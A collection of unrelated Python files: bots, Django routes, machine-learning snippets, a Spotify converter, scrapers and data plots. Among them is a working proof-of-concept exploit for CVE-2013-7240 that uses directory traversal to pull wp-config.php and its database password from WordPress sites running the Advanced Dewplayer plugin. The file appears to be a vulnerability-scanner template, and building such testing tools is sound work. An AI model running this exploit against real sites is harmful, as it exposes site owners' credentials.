# import modules
import discord
from discord.ext import commands
import random

# import other files
import settings

# logger
logger = settings.logging.getLogger("bot")

# if debug, conf should be this and if not, conf should be that
if not settings.Config.debug:
    conf = settings.Config.Main
else:
    conf = settings.Config.Debug

# make cog
class Suggestions(commands.Cog):
    def __init__(self, bot):
        self.bot = bot

    # look for messages
    @commands.Cog.listener()
    async def on_message(self, message: discord.Message):
        ...
        # checks if the message is in the target guild, in the taget channel, if the author is a bot, if the message has embeds, and if the author is not itself
        if (
            message.type == discord.MessageType.default
            and message.channel.guild.id == conf.guildid
            and message.channel.id == conf.suggestionchannelid
            and message.author.bot
            and message.embeds != None
            and message.author != self.bot
        ):
            # creates a thread on the message :)
            await message.create_thread(name=message.embeds[0].description[:100])

    @commands.Cog.listener()
    async def on_reaction_add(self, reaction: discord.Reaction, user: [discord.Member, discord.User]):
        if user.bot == False:
            msg = reaction.message
            if reaction.message.channel == self.bot.get_guild(conf.guildid).get_channel(conf.suggestionchannelid):
                for r in msg.reactions:
                    if r != reaction:
                        async for u in r.users():
                            if u == user:
                                await r.remove(u)

    @commands.group(breif="Suggestion commands", description="Suggestion commands")
    async def suggest(self, ctx: commands.Context):
        if ctx.subcommand_passed is None:
            return ctx.reply(
                content="{ctx.subcommand_passed} is not part of the suggest group.",
                delete_after=60,
                mention_author=False,
            )

    @suggest.command(
        breif="Suggest a server feature.", description="Suggest a server feature."
    )
    async def create(self, ctx: commands.Context, *feature: str):
        if feature == ():
            return await ctx.reply(content="Please put in a suggestion...", mention_author=False)
        description = " ".join(feature)
        suggestion_id = random.randrange(1001, 10001)
        embed = discord.Embed(
            description=description,
            colour=discord.Colour.blurple(),
        )
        embed.set_author(icon_url=ctx.author.display_avatar, name=ctx.author.display_name)
        channel = self.bot.get_guild(conf.guildid).get_channel(conf.suggestionchannelid)
        async with ctx.typing():
            msg = await channel.send(embed=embed)
            await msg.add_reaction("<:agree:1167505718535008256>")
            await msg.add_reaction("<:neutral:1167505790723170414>")
            await msg.add_reaction("<:disagree:1167505754098507817>")
            return await ctx.reply(content=f"I've sent your suggestion to {msg.channel.mention}.", mention_author=False)

    @suggest.command(
        breif="(STAFF) Note that a server suggestion has been implemented.", description="(STAFF) Note that a server suggestion has been implemented."
    )
    async def implemented(self, ctx: commands.Context):
        if commands.has_permissions(manage_channels=True) or commands.has_permissions(administrator=True):
            if ctx.channel.type == discord.ChannelType.public_thread:
                message = await ctx.channel.parent.fetch_message(ctx.channel.id)
                if message.channel.id != conf.suggestionchannelid or message.embeds == None:
                    return await ctx.reply(content="Please make sure you are in the thread attached to a suggestion!")
                embed = message.embeds[0]
                emb = discord.Embed(title=embed.title, description=embed.description, colour=discord.Colour.brand_green())
                emb.set_author(icon_url=embed.author.icon_url, name=embed.author.name)
                emb.set_footer(text="Suggestion marked as implemented, voting closed.")
                for reaction in message.reactions:
                    emb.add_field(name=reaction.emoji, value=(reaction.count - 1), inline=True)
                await message.edit(embed=emb)
                await message.clear_reactions()
                await ctx.reply(content="Marked as implemented!", mention_author=False)
                return await ctx.channel.edit(archived=True)
            else:
                return await ctx.reply(content="Please make sure you are in the thread attached to a suggestion!")
        else:
            return await ctx.reply(content="You don't have the permissions to mark this suggestion as implemented.")

# add cog to bot
async def setup(bot: commands.Bot):
    await bot.add_cog(Suggestions(bot))
    logger.info("ext.events.suggestions okay")


from django.urls import path
from .views import (
    pega_dia_atual_view, agendar_task_view, chain_task_view,
    retry_task_division_view, task_loop_list_view, task_state_view, task_loop_view,
    home_tasks
    )

urlpatterns = [
    path('home/', home_tasks, name="home"),
    path('dia_atual_task/', pega_dia_atual_view, name="dia_atual_task"),
    path('agendar_task/', agendar_task_view, name="agendar_task"),
    path('chain_task/', chain_task_view, name="chain_task"),
    path('retry_task/', retry_task_division_view, name="retry_task"),
    path('task_loop_list/', task_loop_list_view, name='task_loop_list'),
    path('task_loop/', task_loop_view, name="task_loop"),
    path('task_state/<str:task_id>/', task_state_view, name='task_state'),
]


# Transforms

# data is not always in final processed form that is required for training macchine learning algorithms
# we use TRANSFORMMS to perform some manipulation of data and make it suitable for training

# All TorcchVision datasets have two parameters:
#   - transform: modify the features
#   - target_transform: modify the labels

# FashionMMNIST features are in PIL Image format, and the labels are integers
# for training, we need the features as normmalized tensors and the labels as one-hot encoded tensors.
# to makke these transformations, we use "ToTensor" and "Lambda"

import torch
from torchvision import datasets
from torchvision.transforms import ToTensor, Lambda

ds = datasets.FashionMNIST(
    root="data",
    train=True,
    download=True,
    # ToTensor()
    # ToTensor converts a PIL image or NumPy ndarray into a FloatTensor and scales the image's pixel intensity values in the range[0., 1.]
    transform=ToTensor(),

    # Lambda Transforms
    # Lambda transforms apply any user-defined lambda function. <--?
    # Here, we define a function to turn the integer into a one-hot encoded tensor.
    # it first creates a tensor of size 10 (the number of labels in our dataset) and calls scatter_ which assigns a value=1 on the index as given by the label y.
    target_transform=Lambda(lambda y: torch.zeros(10, dtype=torch.float).scatter_(0, torch.tensor(y), value=1))
)

# my question is: why do you need to use ToTensor() if you have from_numpy() function?? maybe??
# maybe because that change of tensor is different fromm initializing the dataset


import json
from multiprocessing.sharedctypes import Value

from spotipy.exceptions import SpotifyException
import convertlib
import spotipy
import io
import json
import os
from datetime import date

SPOTIFY_API_CLIENT_ID = os.environ["SPOTIFY_API_CLIENT_ID"]
SPOTIFY_API_CLIENT_SECRET = os.environ["SPOTIFY_API_CLIENT_SECRET"]

# use memory cache handler
# we only need to store one token, and Lambda instances don't have filesystem access
cache_handler = spotipy.cache_handler.MemoryCacheHandler()

# initialize login credentials
spotify_creds = spotipy.SpotifyClientCredentials(
    client_id=SPOTIFY_API_CLIENT_ID, client_secret=SPOTIFY_API_CLIENT_SECRET, cache_handler=cache_handler)
spotify = spotipy.Spotify(client_credentials_manager=spotify_creds)

def _make_response(response: dict) -> dict:
    """Takes a response object and adds CORS headers.
    """
    # base response
    base_response = {
        "headers": {
            # allow requests from all origins
            "Access-Control-Allow-Origin": "*"
        }
    }

    # merge dictionaries, with the argument taking precedence
    return {**base_response, **response}

def convert_new_playlist(event, context):
    body = json.loads(event.get("body", "{}"))
    playlist_url = body["playlist_url"]

    try:
        # try and extract playlist id from URL
        # note: spotipy actually can handle playlist URLs, but by
        # doing this validation ourselves, we can at least provide
        # some nicer error messages in case the user does something wrong.
        playlist_id = convertlib.extract_playlist_id_from_url(playlist_url)
    except ValueError as e:
        response = {
            "statusCode": 400,
            "body": json.dumps({
                "error": str(e)
            })
        }

        return _make_response(response)

    try:
        # buffer we will write output CSV into
        buffer = io.StringIO()
        # write_new_playlist_csv returns the warnings encountered
        # writes the converted CSV into buffer
        playlist_name, warnings = convertlib.write_new_playlist_csv(
            spotify, playlist_id, buffer)

    except (SpotifyException, RuntimeError) as e:
        response = {
            "statusCode": 400,
            "body": json.dumps({
                "error": str(e)
            })
        }

        return _make_response(response)

    # seek to beginning of buffer so we can begin reading
    buffer.seek(0)

    response = {
        "statusCode": 200,
        "body": json.dumps({
            "playlistName": playlist_name,
            "warnings": warnings,
            "body": buffer.read()
        })
    }

    return _make_response(response)

def convert_old_playlist(event, context):
    body = json.loads(event.get("body", "{}"))
    playlist_url = body["playlist_url"]
    show_title = body["show_title"]
    try:
        # validate the show date selected by the user
        show_date = date.fromisoformat(body["show_date"])
    except ValueError as e:
        # invalid ISO date
        response = {
            "statusCode": 400,
            "body": json.dumps({
                "error": f"Invalid date: {body['show_date']}"
            })
        }

        return _make_response(response)

    try:
        # try and extract playlist id from URL
        # note: spotipy actually can handle playlist URLs, but by
        # doing this validation ourselves, we can at least provide
        # some nicer error messages in case the user does something wrong.
        playlist_id = convertlib.extract_playlist_id_from_url(playlist_url)
    except ValueError as e:
        response = {
            "statusCode": 400,
            "body": json.dumps({
                "error": str(e)
            })
        }

        return _make_response(response)

    try:
        # buffer we will write output CSV into
        buffer = io.StringIO()
        # write_new_playlist_csv returns the warnings encountered
        # writes the converted CSV into buffer
        playlist_name, warnings = convertlib.write_old_playlist_csv(
            spotify, playlist_id, show_title, show_date, buffer)

    except (SpotifyException, RuntimeError) as e:
        response = {
            "statusCode": 400,
            "body": {
                "error": str(e)
            }
        }

        return _make_response(response)

    # seek to beginning of buffer so we can begin reading
    buffer.seek(0)

    response = {
        "statusCode": 200,
        "body": json.dumps({
            "playlistName": playlist_name,
            "warnings": warnings,
            "body": buffer.read()
        })
    }

    return _make_response(response)


#!/user/bin/env python
# -*- coding: utf-8 -*-
# @Time    :2021/1/25 17:32
# @Author  :Alive
# @Site    :
# @File    :更听舞曲下载.py
# @Software:PyCharm
import requests
from lxml import etree
import os

if __name__ == '__main__':
    # 创建音乐文件夹
    if not os.path.exists('./音乐'):
        os.mkdir('./音乐')
    # 指定url
    url = 'http://www.333ttt.com/up/top16.html'
    # UA 伪装
    headers = {
        'UserAgent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0'
    }
    page_text = requests.get(url=url, headers=headers).text
    tree = etree.HTML(page_text)
    li_list = tree.xpath('//div[@class="songlist"]/ul/li')
    for li in li_list:
        title = li.xpath('.//span[@class="l_bt_da"]/a//text()')[0] + '.mp3'
        last_url = li.xpath('.//span[@class="l_xz"]//text()')[0].split('\\')[5].split('\'')[1]
        music_data = requests.get(url=last_url, headers=headers).content
        filePath = './音乐/' + title
        with open(filePath, 'wb') as fp:
            fp.write(music_data)
            print(title + "下载完成")
    fp.close()
    print("下载完成")

数据解析/更听舞曲下载.py


import requests

# Vuln Base Info
def info():
    return {
        "author": "cckuailong",
        "name": '''WordPress Plugin Advanced Dewplayer 1.2 - Directory Traversal''',
        "description": '''A directory traversal vulnerability in download-file.php in the Advanced Dewplayer plugin 1.2 for WordPress allows remote attackers to read arbitrary files via a .. (dot dot) in the dew_file parameter.''',
        "severity": "high",
        "references": [
            "https://www.exploit-db.com/exploits/38936",
            "https://nvd.nist.gov/vuln/detail/CVE-2013-7240",
            "https://wordpress.org/support/topic/security-vulnerability-cve-2013-7240-directory-traversal/"
        ],
        "classification": {
            "cvss-metrics": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
            "cvss-score": "7.5",
            "cve-id": "CVE-2013-7240",
            "cwe-id": "CWE-22"
        },
        "metadata":{
            "vuln-target": "",

        },
        "tags": ["cve", "cve2013", "wordpress", "wp-plugin", "lfi"],
    }

# Vender Fingerprint
def fingerprint(url):
    return True

# Proof of Concept
def poc(url):
    result = {}
    try:
        url = format_url(url)
        path = '/wp-content/plugins/advanced-dewplayer/admin-panel/download-file.php?dew_file=../../../../wp-config.php'

        resp = requests.get(url+path, timeout=10, verify=False, allow_redirects=False)
        if resp.status_code == 200 and "DB_NAME" in resp.text and "DB_PASSWORD" in resp.text and "DB_HOST" in resp.text and "The base configurations of the WordPress" in resp.text:
            result["success"] = True
            result["info"] = info()
            result["payload"] = url+path

    except:
        result["success"] = False

    return result

# Exploit, can be same with poc()
def exp(url):
    return poc(url)

# Utils
def format_url(url):
    url = url.strip()
    if not ( url.startswith('http://') or url.startswith('https://') ):
        url = 'http://' + url
    url = url.rstrip('/')

    return url


import cv2, math, sys, os

if __name__ == '__main__':
    ImFile = sys.argv[1]
    Image = cv2.imread(ImFile, -1)
    OutIm = Image
    Size = (224, 224) # W, H
    # Size = (1920, 1080) # W, H
    # Size = (320, 240) # W, H
    # Size = (1100, 500) # W, H
    # Size = (600, 100) # W, H

    if Size is not None:
        # Check if the aspect ratios are the same
        OrigSize = Image.shape[:-1]
        OrigAspectRatio = OrigSize[1] / OrigSize[0] # W / H
        ReqAspectRatio = Size[0] / Size[1] # W / H # CAUTION: Be aware of flipped indices
        print(OrigAspectRatio)
        print(ReqAspectRatio)
        if math.fabs(OrigAspectRatio-ReqAspectRatio) > 0.01:
            # Different aspect ratio detected. So we will be fitting the smallest of the two images into the larger one while centering it
            # After centering, we will crop and finally resize it to the request dimensions
            if ReqAspectRatio < OrigAspectRatio:
                NewSize = [OrigSize[0], int(OrigSize[0] * ReqAspectRatio)] # Keep height
                Center = int(OrigSize[1] / 2) - 1
                HalfSize = int(NewSize[1] / 2)
                Image = Image[:, Center-HalfSize:Center+HalfSize, :]
            else:
                NewSize = [int(OrigSize[1] / ReqAspectRatio), OrigSize[1]] # Keep width
                Center = int(OrigSize[0] / 2) - 1
                HalfSize = int(NewSize[0] / 2)
                Image = Image[Center-HalfSize:Center+HalfSize, :, :]
        OutIm = cv2.resize(Image, dsize=Size, interpolation=cv2.INTER_CUBIC)

    print('Output image size:', OutIm.shape)
    cv2.imwrite('out.png', OutIm)


from django.conf import settings
from django.conf.urls.static import static
from django.urls import path
from . import views
urlpatterns = [
    path('',views.index,name='home' ),
    path('register',views.register,name='register' ),
    path('login',views.login_attemp,name='login' ),
    path('mailsent',views.verify,name='mailsent' ),
    path('sendMail',views.sendMail,name='sendMail' ),
    path('logout',views.logout_attemp,name='logout' ),
    path('about',views.about,name='about' ),
    path('contact',views.contact,name='contact' ),
    path('dopost',views.dopost,name='dopost' ),
    path('userhome',views.userhome,name='userhome' ),
    path('myblog/<int:id>',views.myblog,name='myblog' ),
    path('deletepost/<int:id>',views.deletepost,name='deletepost' ),
    path('update/<int:id>',views.update,name='update' ),
    path('category/<int:id>',views.category,name='category'),
    path('comment',views.comment,name='comment' ),
    path('search',views.search,name='search' ),
    path('detailpage/<int:id>',views.detailpage,name='detailpage' ),
] + static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)


import random
from time import sleep

import pygame
import pygame.midi

from genomereader import genome_line_generator

GRAND_PIANO = 0

def get_note(char):
    if char == 'A':
        return 81
    elif char == 'C':
        return 72
    elif char == 'G':
        return 79
    elif char == 'T':
        return random.choice((74, 76, 77, 83))
    else:
        return random.choice((74, 76, 77, 83))

def play_chord(midi, chord, on):
    midi.set_instrument(2, 1)
    if on:
        for char in chord:
            midi.note_on(get_note(char) - 24, 100)
    else:
        for char in chord:
            midi.note_off(get_note(char) - 24, 100)

def get_duration(char):
    if char == 'A':
        return 0.25
    elif char == 'C':
        return 0.5
    elif char == 'G':
        return 0.25
    else:
        return random.choice((0.25, 0.5))

def play_genome():
    # start pygame.midi
    pygame.midi.init()

    # Get port to send midi instructions to.
    port = pygame.midi.get_default_output_id()
    midi_out = pygame.midi.Output(port)
    try:

        for line in genome_line_generator:
            if line[0] == 'N':
                continue

            for n in range(0, 70, 7):
                chord = line[n+3:n+6]
                duration = get_duration(line[6])

                play_chord(midi_out, chord, True)
                for char in line[n:n+3]:
                    midi_out.set_instrument(GRAND_PIANO, 0)
                    midi_out.note_on(get_note(char)- 12, 127)
                    sleep(duration)
                    midi_out.note_off(get_note(char) - 12, 127)
                play_chord(midi_out, chord, False)

    finally:
        del midi_out
        pygame.midi.quit()

play_genome()


# -*- coding: utf-8 -*-
'''
Created on 2019年5月5日

@author: Zhukun Luo
Jiangxi university of finance and economics
'''
#theano代码示例
import theano.tensor as T
import theano as th
a=T.scalar('a')
a_sq=a**2
print(a_sq)#Elemwise{pow,no_inplace}.0
compute_square=th.function([a],a_sq)#返回一个可直接使用的pyhton函数
print(compute_square(2))#4.0,类型默认为float64
print(a.dtype)#float64
#相比于numba，theano不会编译通用的python代码，也不做任何类型推断，必须准确指定类型
#theano真正的威力在于它对于数组的支持。要定义一维向量，可使用函数T.vector,它返回的变量支持广播操作，就像numpy数组一样
a=T.vector('a')
b=T.vector('b')
ab_sq=a**2+b**2
compute_square1=th.function([a,b],ab_sq)
re=compute_square1([0,1,2],[3,4,5])
print(re)#[ 9. 17. 29.]
#将Theano API作为一种微型语言，用来合并各种numpy数组表达式，这样将生成高效的机器码


import click.testing
import pytest
import pathlib
import cards.cli
import shlex
from collections import namedtuple

@pytest.fixture()
def db_empty(tmpdir, monkeypatch):
    fake_home = pathlib.Path(str(tmpdir.mkdir('fake_home')))

    class FakePathLibPath():
        def home(self):
            return fake_home

    monkeypatch.setattr(cards.cli.pathlib, 'Path', FakePathLibPath)

@pytest.fixture()
def cards_cli():
    runner = click.testing.CliRunner()

    def _invoke_cards(input_string):
        input_list = shlex.split(input_string)
        return runner.invoke(cards.cli.cards_cli, input_list).output.rstrip()

    return _invoke_cards

@pytest.fixture()
def db_non_empty(db_empty, cards_cli):
    cards_cli('add "first item"')
    cards_cli('add "second item"')
    cards_cli('add "third item"')

Item = namedtuple('Item', ['id', 'owner', 'priority', 'done', 'summary'])

def items_from_output(output):
    """
    Turn a tabulate output into a tuple of headers and rows
    assuming the output was formatted in the "jira" style
    """
    lines = output.split('\n')
    values = [[item.strip()
               for item in row.split('|')[1:-1]] for row in lines[1:]]
    items = [Item(*v) for v in values]
    return items

@pytest.fixture()
def cards_cli_list_items():
    '''
    Just like cards_cli fixture, with different output.
    Returns detabulated items.
    '''

    runner = click.testing.CliRunner()

    def _invoke_cards(input_string):
        input_list = shlex.split(input_string)
        if 'list' in input_list:
            input_list.append('--format=jira')
        output = runner.invoke(cards.cli.cards_cli, input_list).output.rstrip()
        return items_from_output(output)

    return _invoke_cards


import json
import typing

from aiogram import types
from utils import messages
from utils.models import User

from aiogram.types import ReplyKeyboardRemove, ReplyKeyboardMarkup, KeyboardButton, InlineKeyboardMarkup, \
    InlineKeyboardButton

class KeyboardManager:
    def __init__(self):
        pass

    def getMainKeyboard(self, user: User):
        keyboard = types.reply_keyboard.ReplyKeyboardMarkup(resize_keyboard=True)
        if user.admin_mode:
            # admin keyboard
            keyboard.add(messages.broadcast)
            keyboard.add(messages.update_db)
            keyboard.add(messages.votes)
            keyboard.add(messages.questions)
            keyboard.add(messages.registrations)
            keyboard.add(messages.turn_off_admin)
        else:
            keyboard.add(messages.score_request, messages.daily_report, messages.promocode)
            if user.is_admin:
                keyboard.add(messages.turn_on_admin)
        return keyboard

    def getVoteKeyboard(self, vote_id: int, choices):
        vote_keyboard = InlineKeyboardMarkup()

        for choice in choices:
            data = json.dumps({"type": "vote", "id": vote_id, "choice": choice.get_id()})
            vote_keyboard.add(InlineKeyboardButton(text=choice.name, callback_data=data))

        return vote_keyboard

    def getRegistrationKeyboard(self, registration_id: int, options):
        registration_keyboard = InlineKeyboardMarkup()

        for option in options:
            data = json.dumps({"type": "registration", "id": registration_id, "option": option.get_id()})
            registration_keyboard.add(InlineKeyboardButton(text=option.title, callback_data=data))

        return registration_keyboard

    def getVotesListKeyboard(self, votes):
        votes_list = InlineKeyboardMarkup()

        for vote in votes:
            data = {"type": "vote_select", "id": vote.id}
            votes_list.add(InlineKeyboardButton(text=vote.title, callback_data=json.dumps(data)))

        data = {"type": "vote_select", "id": -1}
        votes_list.add(InlineKeyboardButton(text=messages.cancel, callback_data=json.dumps(data)))

        return votes_list

    def getQuestionsListKeyboard(self, questions):
        questions_list = InlineKeyboardMarkup()

        for question in questions:
            data = {"type": "question_select", "id": question.id}
            questions_list.add(InlineKeyboardButton(text=question.title, callback_data=json.dumps(data)))

        data = {"type": "question_select", "id": -1}
        questions_list.add(InlineKeyboardButton(text=messages.cancel, callback_data=json.dumps(data)))

        return questions_list

    def getRegistrationsKeyboard(self, registrations):
        registrations_list = InlineKeyboardMarkup()

        for registration in registrations:
            data = {"type": "registration_select", "id": registration.id}
            registrations_list.add(InlineKeyboardButton(text=registration.title, callback_data=json.dumps(data)))

        data = {"type": "registration_select", "id": -1}
        registrations_list.add(InlineKeyboardButton(text=messages.cancel, callback_data=json.dumps(data)))

        return registrations_list

    def getAnswerKeyboard(self, question_id: int):
        answerkeyboard = InlineKeyboardMarkup()
        data = dict(type="answer", id=question_id)
        answerkeyboard.add(InlineKeyboardButton(text=messages.answer, callback_data=json.dumps(data)))
        return answerkeyboard

    def getCancelKeyboard(self):
        keyboard = types.reply_keyboard.ReplyKeyboardMarkup(resize_keyboard=True)
        keyboard.add(messages.cancel)
        return keyboard


from core_components import Layer
from torch_kernels import RBFKernel
from torch import matmul
from torch.nn import Identity, Linear, Flatten

class KernelLayer(Layer):
    """
    A class representing a kernel layer for use in machine learning models.

    This class inherits from the `Layer` base class and provides an implementation of the `forward`
    method for computing the output of the layer using a kernel function.

    Attributes:
    K (Kernel): An instance of a kernel object used to compute the kernel matrix.
    flatten (Flatten): An instance of a flatten object used to flatten the output tensor.
    keep_track (bool): A boolean indicating whether to keep track of the kernel matrix during
        forward propagation.
    matmul (callable): A function for matrix multiplication.
    """

    def __init__(self,
                 kernel=RBFKernel,
                 kernel_kwargs={},
                 keep_track=False) -> None:
        """
        Initializes a new `KernelLayer` object with the specified kernel function and arguments.

        Parameters:
        kernel (Kernel): The kernel function to use for computing the kernel matrix. Defaults to
            `RBFKernel`.
        kernel_kwargs (dict): A dictionary of keyword arguments to pass to the kernel function.
            Defaults to an empty dictionary.
        keep_track (bool): A boolean indicating whether to keep track of the kernel matrix during
            forward propagation. Defaults to False.

        Returns:
        None.
        """

        super().__init__()
        self.K = kernel(**kernel_kwargs)
        self.flatten = Flatten()
        self.keep_track = keep_track
        self.matmul = matmul

    def forward(self, A, B=None, C=None):
        """
        Computes the output of the layer using the kernel function and input data.

        Parameters:
        A (numpy.ndarray): An array of shape `(n_samples_A, n_features)` representing the input data
            for the layer.
        B (numpy.ndarray or None): An array of shape `(n_samples_B, n_features)` representing the
            first set of data to use for computing the kernel matrix. If None, `B` is set to `A`.
            Defaults to None.
        C (numpy.ndarray or None): An array of shape `(n_samples_C, n_features)` representing the
            second set of data to use for computing the kernel matrix. If None, `C` is set to `A`.
            Defaults to None.

        Returns:
        A numpy array of shape `(n_samples_A, n_samples_B)` representing the output of the layer.
        If `keep_track` is True, the output is a tuple containing the output tensor and the kernel
        matrix used to compute it.
        """

        if B is None:
            B = A

        if C is None:
            C = A

        ## It would be better formulate it in such a way that the reshape is
        ## not needed; for this, the kernel method needs to be adjusted
        A = A.reshape(A.shape[0], 1, A.shape[1])
        B = B.reshape(B.shape[0], B.shape[1], 1)
        C = C.reshape(C.shape[0], C.shape[1], 1)

        k = self.K.forward(B, C)

        ## is there to keep track of the kernel when working on interpretation
        if self.keep_track:
            return [self.flatten(self.matmul(A, k)), k]

        return self.flatten(self.matmul(A, k))

    def _get_components(self) -> list:
        return [self.K]

class KernelBlock(Layer):
    """
    A class representing a kernel block layer for use in machine learning models.

    This class inherits from the `Layer` base class and provides an implementation of the `forward`
    method for computing the output of the layer using a kernel function.

    Attributes:
    kernel_layer (KernelLayer): An instance of a kernel layer object used to compute the kernel matrix.
    activation_function (Activation): An instance of an activation function object used to apply an
        activation function to the linear outputs before computing the kernel matrix.
    input_shape (tuple): A tuple representing the shape of the input data.
    output_shape (tuple): A tuple representing the shape of the output data.
    method (str): A string representing the method used to compute the output of the layer. Must be
        one of "A", "AB", or "ABC".
    keep_track (bool): A boolean indicating whether to keep track of the kernel matrix during
        forward propagation.
    """

    def __init__(self,
                 input_shape,
                 output_shape,
                 kernel=RBFKernel,
                 kernel_kwargs={},
                 activation=Identity,
                 method="A",
                 normalize=False,
                 keep_track=False) -> None:
        """
        Initializes a new `KernelBlock` object with the specified input and output shapes, kernel
        function, activation function, method, and arguments.

        Parameters:
        input_shape (tuple): A tuple representing the shape of the input data.
        output_shape (tuple): A tuple representing the shape of the output data.
        kernel (Kernel): The kernel function to use for computing the kernel matrix. Defaults to
            `RBFKernel`.
        kernel_kwargs (dict): A dictionary of keyword arguments to pass to the kernel function.
            Defaults to an empty dictionary.
        activation (Activation): The activation function to apply to the linear outputs before
            computing the kernel matrix. Defaults to `Identity`.
        method (str): The method to use for computing the output of the layer. Must be one of "A",
            "AB", or "ABC". Defaults to "A".
        keep_track (bool): A boolean indicating whether to keep track of the kernel matrix during
            forward propagation. Defaults to False.

        Returns:
        None.
        """
        super().__init__()

        self.kernel_layer = KernelLayer(kernel=kernel, kernel_kwargs=kernel_kwargs, keep_track=keep_track)
        self.activation_function = activation()
        self.input_shape = input_shape
        self.output_shape = output_shape
        self.method = method

        self.keep_track = keep_track

        ## ========================================================================== ##
        if method == "A":
            self.linear_A = Linear(self.input_shape, self.output_shape)

            def forward(x):
                A = self.linear_A.forward(x)
                if self.normalize:
                    A = A / A.std()
                sA = self.activation_function(A)
                return self.kernel_layer.forward(sA, A, A)
            self.forward = forward

        ## ========================================================================== ##
        elif method == "AB":
            self.linear_A = Linear(self.input_shape, self.output_shape)
            self.linear_B = Linear(self.input_shape, self.output_shape)

            def forward(x):
                A = self.linear_A.forward(x)
                B = self.linear_B.forward(x)
                if self.normalize:
                    A = A / A.std()
                    B = B / B.std()
                sA = self.activation_function(A)
                return self.kernel_layer.forward(sA, B, B)
            self.forward = forward

        ## ========================================================================== ##
        elif method == "ABC":
            self.linear_A = Linear(self.input_shape, self.output_shape)
            self.linear_B = Linear(self.input_shape, self.output_shape)
            self.linear_C = Linear(self.input_shape, self.output_shape)

            def forward(x):
                A = self.linear_A.forward(x)
                B = self.linear_B.forward(x)
                C = self.linear_C.forward(x)
                if self.normalize:
                    A = A / A.std()
                    B = B / B.std()
                    C = C / C.std()
                sA = self.activation_function(A)
                return self.kernel_layer.forward(sA, B, C)
            self.forward = forward

        ## ========================================================================== ##
        else:
            raise ValueError(f"method must be either 'A', 'AB', or 'ABC', got {method} instead")

    def _get_components(self) -> list:
        return [self.kernel_layer]


# -*- coding: utf-8 -*-

import pandas as pd
import numpy as np
import math
from collections import Counter
import datetime
from random import choice
import matplotlib.pyplot as plt
from Practice.heatmap.image_annotated_heatmap import heatmap, annotate_heatmap

starttime = datetime.datetime.now()

# pd.set_option('display.height',1000)
pd.set_option('display.width',1000)
pd.set_option('display.max_rows',500)
pd.set_option('display.max_columns',500)

def SCD_Prediction():

    print ('system start')
    print ('reading data ...')
    # ==== start of reading trips ====
    # inFile = r'G:\Program\Pycharm Projects\File of Python3\SCD_System\data\userAttribute.csv'
    # userAttribute_df = pd.read_csv(inFile,index_col=0)
    inFile2 = r'G:\Program\Pycharm Projects\File of Python3\SCD_System\data\true_data\userTrueTrips_oneWK.csv'
    userTrueTrips_df = pd.read_csv(inFile2)
    # inFile3 = r'G:\Program\Pycharm Projects\File of Python3\SCD_System\data\userPredictionTrips_6.csv'
    # userPredictionTrips_df = pd.read_csv(inFile3)
    # ==== end of reading trips ====
    print ('end of reading data')
    # print(userTrueTrips_df)
    # print(userPredictionTrips_df)

    print('dealing data...')
    inStation_ls = list(set(list(userTrueTrips_df['inStation'])))
    # inStation_ls = list(set(list(userTrueTrips_df['outStation']))) # outFlow
    # print(inStation_ls)
    # print(len(inStation_ls))
    in_df = pd.DataFrame(index=inStation_ls)
    in_df['inFlow'] = 0
    for i in range(len(userTrueTrips_df)):
        in_df.loc[userTrueTrips_df.iloc[i,4],'inFlow'] += 1
        # in_df.loc[userTrueTrips_df.iloc[i,5],'inFlow'] += 1 # outFlow
    in_df2 = in_df.sort_values(by='inFlow',ascending=False)
    inStationSort_ls = list(in_df2.index)
    # print(in_df2)
    # print(inStationSort_ls)

    data = []
    for i in ['20170619','20170620','20170621','20170622','20170623','20170624','20170625']:
        for j in [x for x in range(6,23)]:
            a = i + '--' + '{}'.format(j)
            data.append(a)
    inFlow_df = pd.DataFrame(index=inStationSort_ls,columns=data)
    # print(inFlow_df)
    for i in data:
        inFlow_df['{}'.format(i)] = 0.0
    # print(inFlow_df)
    for i in range(len(userTrueTrips_df)):
        if i % 10000 == 0:
            print(i,'/',len(userTrueTrips_df))
        # if i == 1000:
        #     break
        if userTrueTrips_df.iloc[i,2] >= 230000:
            # print(userTrueTrips_df.iloc[i,:])
            continue
        # s = '{}'.format(userTrueTrips_df.iloc[i,1])+'--'+'{}'.format(int(userTrueTrips_df.iloc[i,2]/10000))
        # print(s)
        # print(type(s))
        inFlow_df.loc[userTrueTrips_df.iloc[i,4],
                      '{}'.format(userTrueTrips_df.iloc[i,1])+'--'+'{}'.format(int(userTrueTrips_df.iloc[i,2]/10000))] +=1
        # inFlow_df.loc[userTrueTrips_df.iloc[i,5],
        #               '{}'.format(userTrueTrips_df.iloc[i,1])+'--'+'{}'.format(int(userTrueTrips_df.iloc[i,2]/10000))] +=1 # outFlow
    # print(inFlow_df)
    inFlow_ay = np.array(inFlow_df)
    inFlow_ay = inFlow_ay.T
    print(inFlow_ay)
    for i in range(len(inFlow_ay)):
        for j in range(len(inFlow_ay[i])):
            if inFlow_ay[i][j] == 0:
                continue
            inFlow_ay[i][j] = math.log(inFlow_ay[i][j],10)
    print(inFlow_ay)
    print('end of deal data')

    print('plot...')
    row_label = data
    col_label = inStationSort_ls

    fig = plt.figure(figsize=(75,20))
    im, cbar = heatmap(inFlow_ay,row_labels=row_label,col_labels=col_label,title="Stations Inflow Heatmap (station ranked by total volume)",cmap= 'OrRd',cbarlabel='Station Inflow [log10()]')
    # im, cbar = heatmap(inFlow_ay,row_labels=row_label,col_labels=col_label,title="Stations Outflow Heatmap (station ranked by total volume)",cmap= 'OrRd',cbarlabel='Station Outflow [log10()]') # outFlow

    plt.tight_layout()
    plt.savefig(r'G:\Program\Pycharm Projects\File of Python3\SCD_System\result\heatmap_StationInflow.png',dpi=150)
    # plt.savefig(r'G:\Program\Pycharm Projects\File of Python3\SCD_System\result\heatmap_StationOutflow.png',dpi=150) # outFlow
    plt.show()
    print('end of plot')

SCD_Prediction()

endtime = datetime.datetime.now()
print ('time:',(endtime - starttime).seconds,'s')
usetime = (endtime - starttime).seconds
h = int(usetime / 3600)
m = int((usetime - 3600 * h) / 60)
s = usetime - 3600 * h -60 * m
print('time:',h,'h',m,'m',s,'s')


from django.conf.urls import patterns, include, url
from accounts.views import register,save_details,loginview,updateview,deleteview,logoutview,index
from django.contrib import admin
admin.autodiscover()

urlpatterns = patterns('',
    # Examples:
    # url(r'^$', 'flat.views.home', name='home'),
    # url(r'^blog/', include('blog.urls')),

